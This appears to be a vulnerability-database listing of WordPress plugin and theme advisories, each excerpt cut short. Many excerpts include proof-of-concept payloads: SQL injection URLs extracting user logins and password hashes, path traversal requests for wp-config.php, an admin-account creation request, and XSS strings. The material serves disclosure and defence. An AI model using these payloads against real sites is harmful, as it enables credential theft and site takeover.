DSubscribers <= 1.2 - Authenticated SQL Injection

The DSubscribers WordPress plugin was affected by an Authenticated SQL Injection security vulnerability. Proof of Concept: 1 – Login with admin user: 2 – Url attack: http://target/wp-admin/admin.php?page=dsubscribers&action=edit&dsubscribers=0 UNION SELECT 1,2,CONCATuserlogin,char58,userpass FROM...

Tribulant Newsletters <= 4.6.4.2 – Multiple Vulnerabilities

The Newsletters WordPress plugin was affected by security vulnerability. 3.1 File disclosure Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newslettershistory&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWIN DOWS%5cwin.ini 3.2 Cross-Site...

AccessPress Social Icons < 1.6.8 - Authenticated SQL Injections

During the security analysis, ThunderScan discovered SQL injection vulnerabilities in AccessPress Social Icons WordPress plugin. The easiest way to reproduce the vulnerability is to visit the provided URL while being logged in as administrator or another user that is authorized to access the plug...

Profile Builder < 2.5.8 - Authenticated Stored Cross-Site Scripting (XSS)

Stored Cross-Site Scripting XSS in field minimum password length. history.pushState'', '', '/'...

ByREV WP-PICShield - Cross-Site Request Forgery (CSRF)

The ByREV WP-PICShield WordPress plugin is vulnerable to CSRF. When updating the plugin options, several parameters in the issued POST request are written directly to the .htaccess file within the WordPress root directory. An attacker may be able to insert arbitrary lines into the .htaccess file,...

WP Private Messages 1.0.1 – Authenticated SQL Injection

Type user access: registered user. $GET‘id’ is not escaped. URL is accessible for every registered user. http://www.example.com/wp-admin/users.php?page=wp-private-messages%2Fwpuprivatemessages.php&wpu=read&id=0+UNION+SELECT+1,2,2,name,slug,6,7,8,9,10,11,12+FROM+wpterms+WHERE++termid%3D1&r=recieve...

BBS e-Franchise 1.1.1 - Unauthenticated SQL Injection

$GET‘uid’ is not escaped, the URL is accessible for any user. You will have find a post or page that uses the plugin's shortcode...

FireStorm Shopping Cart eCommerce Plugin 2.07.02 - Authenticated SQL Injection

$POST ‘pid’ is not escaped. Url is accessible for administrator user. Url with problem: http://localhost:1406/wp/wp-admin/admin.php?page=fssc-products=general=edit=0=0 http://target/wp-admin/admin.php?page=fssc-products&fp=general&f=edit&cid=0&pid=0+UNION+SELECT+name+FROM+wpterms+WHERE+termid=1...

W3 Total Cache <= 0.9.4.1 - Authenticated Reflected Cross-Site Scripting (XSS)

The W3 Total Cache WordPress plugin was affected by an Authenticated Reflected Cross-Site Scripting XSS security vulnerability...

CM Ad Changer <= 1.7.7 - Stored Cross-Site Scripting (XSS)

An Stored Cross Site Scripting was reported by the author to CM Ad Plugins under which an unprivileged user can trigger a Stored XSS to perform malicious actions or any attacker could send a crafted link CSRF which can trigger the Stored XSS. 1 Go to CM Ad changers - Campaigns 2 Create a Campaign...

ABtest - File Inclusion

The abtest WordPress plugin was affected by a File Inclusion security vulnerability. http://www.example.com/wp-content/plugins/abtest/abtestadmin.php?action=../../../../../../../../../../../../../../../proc/self/environ%00...

Download Manager <= 2.7.94 - Authenticated Stored XSS

The stored XSS vulnerability allows any authenticated user to inject malicious code via the name of the uploaded file: Example: .jpg The vulnerability exists because the file name is not properly sanitized and this can lead to malicious code injection that will be executed on the target’s browser...

QAEngine Theme - Privilege Escalation

QAEngine vulnerability allows an attacker to have an administrator account on the target's website. http://www.example.com/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&userlogin=xADMIN&userpass=xPASS&role=administrator...

Aspose Cloud eBook Generator - File Download

The Aspose Cloud eBook Generator WordPress plugin was affected by a File Download security vulnerability. As seen in access logs: http://www.example.com/wp-content/plugins/aspose-cloud-ebook-generator/asposepostsexporterdownload.php?file=../../../wp-config.php...

SEO Redirection < 2.3 - Unauthenticated Stored Cross-Site Scripting (XSS)

The plugin did not sanitise the referer link from requests before displaying them in the 'Settings SEO Redirection Redirection History' page. This result in a Store dCross-Site Scripting XSS issue This cURL request to a redirected page with a custom referer makes it possible: curl -H 'Referer:...

Wordpress CodeArt Google MP3 Player - File Disclosure

The google-mp3-audio-player WordPress plugin was affected by a File Disclosure security vulnerability. http://www.example.com/wp-content/plugins/google-mp3-audio-player/directdownload.php?file=../../../wp-config.php...

BSK PDF Manager < 2.9.1 - Authenticated Stored Cross-Site Scripting (XSS)

The plugin does not sanitise the view and cattitle POST parameter when creating or editing a category /wp-admin/admin.php?page=bsk-pdf-manager, allowing authenticated users with a role as low as editor to set an XSS payload which will be triggered in the Categories list...

Prostore < 1.1.3 - Open Redirection

The prostore WordPress theme was affected by an Open Redirection security vulnerability. /wp-content/themes/prostore/go.php?https://example.com...

Plugin HD Webplayer <= 1.1 - SQL Injections

The last time it was checked the plugin was still affected and had been closed. http://example.com/wp-content/plugins/hd-webplayer/config.php?id=INJECT HERE http://example.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=INJECT HERE...

Findgo - Directory Listing < 1.3.32 - Unauthenticated Reflected and Authenticated Stored XSS

Multiple Cross-Site Scripting XSS vulnerabilities were discovered in the «Findgo - Directory Listing WordPress Theme», tested version — v1.3.30. PoC Unauthenticated Reflected XSS: https://demoapus.com/findgo/listings/?searchdistance=%22%3E%3Cimg%20src=x%20onerror=alertXSS%3E PoC Authenticated...

Better WordPress reCAPTCHA <= 2.0.3 - Unauthenticated Cross-Site Scripting (XSS)

There is a reflected XSS vulnerability in Better WordPress reCAPTCHA plugin version 2.0.3, and possibly below. The parameter cerror value is reflected in the page when this plugin is enabled. Once plugin disabled, the "cerror" parameter's value is not reflected in the page anymore. This is the HT...

Row Seats Core <= 2.66 - Unauthenticated PHP Object Injection

The plugin row-seats insecurely trusts serialized data submitted over HTTP requests. This opens up the site to a PHP object injection vulnerability potential exploit vector. This vulnerability was patched in version 2.68, information is being released now as a disclosure period has expired. Attac...

WA Form Builder 1.1 - Unauthenticated SQL Injection

$POST ‘waformsId’ is not escaped. WAFormBuilderuioutput is accessible to any user...

Anti-Malware Security & Brute-Force Firewall <= 4.15.42 - XSS & CSRF

The Anti-Malware Security and Brute-Force Firewall WordPress plugin was affected by a XSS & CSRF security vulnerability. XSS vulnerability in https://wordpress.org/plugins/gotmls/ has been identified. While I scan a site with that plugin , i had a file '".png and it was skippped , but result was...

wordpress vertical image slider plugin < 1.2 - Cross-Site Scripting & CSRF

The lack of CSRF check and sanitisation could allow attackers to perform Cross-Site Scripting attack against logged in administrator, as well as upload arbitrary files XSS via CSRF: alert"XSS"' alert"XSS"' setTimeout'form1.submit', 1; Upload file via CSRF:...

Music Store <= 1.0.14 - Referer Header Open Redirect

The Music Store – WordPress eCommerce WordPress plugin was affected by a Referer Header Open Redirect security vulnerability. GET /wp-content/plugins/music-store/ms-core/ms-submit.php HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language:...

WordPress prettyPhoto <= 1.1 - DOM Cross-Site Scripting (XSS)

The WordPress prettyPhoto WordPress plugin was affected by a DOM Cross-Site Scripting XSS security vulnerability. http://www.example.com/prettyPhotogallery/1,/...

Premium SEO Pack 1.8.0 - Unauthenicated Arbitrary File Upload & LFD

This plugin is vulnerable to Local File Disclosure and Remote Code Execute via Arbitrary File Upload. BASE64 ENCODED SHELL...

Quasar Theme Rock Form Builder plugin - Privilege Escalation

The Rock Form Builder plugin 1.0 is used within the Quasar WooCommerce theme 1.9.1. Authenticated users can modify WordPress settings which can lead to full site compromise. It's unclear which exact version of the rock-form-builder fixed the issue, but it was something in between 1.0 and 2.5, so...

NativeChurch Theme - Arbitrary File Download

Description The NativeChurch WordPress theme was affected by an Arbitrary File Download security vulnerability. https://example.com/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php...

wp-FileManager <= 1.3.0 - File Download

The wp-filemanager WordPress plugin was affected by a File Download security vulnerability. As seen in access logs: http://www.example.com/wp-content/plugins/wp-filemanager/incl/libfile.php?path=../../&filename=wp-config.php&action=download...

Dailydeal by Templatic - CSRF File Upload

The dailydeal WordPress theme was affected by a Templatic Theme CSRF File Upload security vulnerability. File Access: https://example.com/wp-content/themes/dailydeal/images/tmp/yourshell.php...

WP Fastest Cache < 0.9.0.3 - Cross-Site Request Forgery (CSRF) Arbitrary File Deletion

The plugin did not have a CSRF nonce check on the "wpfcdeletecurrentpagecache" action, allowing CSRF attacks against authenticated users to delete arbitrary files, including the wp-config.php file. document.form.submit;...

WooCommerce Conversion Tracking < 2.0.5 - CSRF to XSS

The settings page of the plugin is lacking CSRF checks as well as input sanitisation, leading to stored XSS. ' /...

Superlist <= 2.9.2 - Stored Cross-Site Scripting (XSS)

Persistent XSS was discovered in the 'Superlist - Directory WordPress Theme', the version tested was v2.9.2. Edit WPScanTeam: December 2nd, 2019 - Envato Contacted December 2nd, 2019 - Envato Investigating December 12th, 2019 - No updates, disclosing The PoC will be displayed once the issue has...

WP Custom Body Class <= 0.7.0 - CSRF to Stored XSS and Settings Update

Lack of CSRF check and sanitisation when updating the plugin's settings could lead to unauthorised settings update as well as stored XSS issues XSS fixed in 0.7.0. CSRF still there - vendor contacted CSRF fixed in 0.7.1 /wp-admin/options-general.php?page=custombodyclass" method="POST" ' /...

Email Before Download < 4.0 - SMTP Header Injection

Email Before Download https://wordpress.org/plugins/email-before-download/ before version 4.0 was vulnerable to an SMTP header injection which allows abuse of vulnerable website to send spam or phishing emails. In email-before-download.php, the "emailFrom" variable comes directly from the...

Simple Slideshow Manager <= 2.3 – Multiple Vulnerabilities

The Simple Slideshow Manager WordPress plugin was affected by security vulnerability. 3.1 Cross-Site Scripting Vulnerable Function: echo Vulnerable Variable: $GET'name' Vulnerable URL: http://www.vulnerablesite.com/wp-admin/admin.php?page=Acurax-Slideshow-AddImages&name="alert42 3.2 Cross-Site...

Answer My Question 1.3 - Cross-Site Scripting (XSS)

The answer-my-question WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability. Host: 10.194.0.44 URL: http://10.194.0.44/wp-content/plugins/answer-my-question/modal.php Parameter: Hidden Field id Payload: "alert1...

Product Catalog 8 1.2 - Unauthenticated SQL Injection

$POST ‘selectedCategory’ is not escaped. UpdateCategoryList is accessible for any user...

Woo Custom Checkout Field <= 1.3.4 - CSRF & Stored XSS

Due to a lack of CSRF mitigation and entity encoding in the ccfinsert function found on line 118 of include/ccf.php and in the output generated by template/datagrid.php, it is possible to store and execute scripts in the context of an admin user...

Yet Another Related Posts Plugin (YARPP) 4.2.4 - CSRF / XSS / RCE

'Yet Another Related Posts Plugin' options can be updated with no token/nonce protection which an attacker may exploit via tricking website's administrator to enter a malformed page which will change YARPP options, and since some options allow html the attacker is able to inject malformed...

Ultimate Product Catalogue <= 3.1.2 - Unauthenticated SQL Injection

Unauthenticated SQL injection in parameter "SingleProduct" when a web visitor explores a product published by the web administrator. This exploit needs magicquotesgpc turned off in the destination server. File Functions/Shortcodes.php line 779 http:///?SingleProduct=2'+and+'a'='a...

Ajax Store Locator <= 1.2 - Remote SQL Injection

The ajax-store-locator WordPress plugin was affected by a Remote SQL Injection security vulnerability. http://www.example.com/wordpress/wp-admin/admin-ajax.php?action=sldalsearchlocation&funMethod=SearchStore&Location=Social&StoreLocation=11 AND SELECT FROM SELECTSLEEP10LCKZ...

Duplicator <= 0.5.14 - SQL Injection & CSRF

An authorised user with "export" permission or a remote unauthenticated attacker could use this vulnerability to execute arbitrary SQL queries on the victim WordPress web site by enticing an authenticated admin CSRF. http://www.example.com/wp-admin/admin-ajax.php?action=duplicatorpackagedelete PO...

Feedweb 2.4.1-3.0.6 - SQL Injection

The feedweb WordPress plugin was affected by a SQL Injection security vulnerability. http://www.example.com/wp-content/plugins/feedweb/widgetcontainer.php?pid= Inject here &ishp=true...

GI-Media Library <= 2.2.2 - Arbitrary File Download

The gi-media-library WordPress plugin was affected by an Arbitrary File Download security vulnerability. /wp-content/plugins/gi-media-library/download.php?fileid=Li4vLi4vLi4vd3AtY29uZmlnLnBocA== Where "Li4vLi4vLi4vd3AtY29uZmlnLnBocA==" is "../../../wp-config.php" Base64 encoded...

Real Estate by Templatic - CSRF File Upload

Description The realestate WordPress theme was affected by a Templatic Theme CSRF File Upload security vulnerability. File Access: https://example.com/wp-content/themes/Realestate/images/tmp/yourshell.php...

Support Ticket System By Phoeniixx <= 2.7 - Unauthenticated Reflected XSS

Bad user input sanitisation leads to unauthenticated reflected XSS. Edit WPScanTeam: January 27th, 2020 - Report received & WP Plugin team notified January 31st, 2020 - WP plugin team acknowledgement & plugin closed. April 11th, 2020 - No updates, disclosing...

WP Accessibility < 1.7.0 - Minor Authenticated Stored XSS in custom CSS

A minor authenticated stored XSS vulnerability was found in the "Styles for Skiplinks when they have focus" section of the WP Accessibility plugin. 1 Navigate to the Settings page of the plugin https://example.com/wp-admin/options-general.php?page=wp-accessibility/wp-accessibility.php 2 Select th...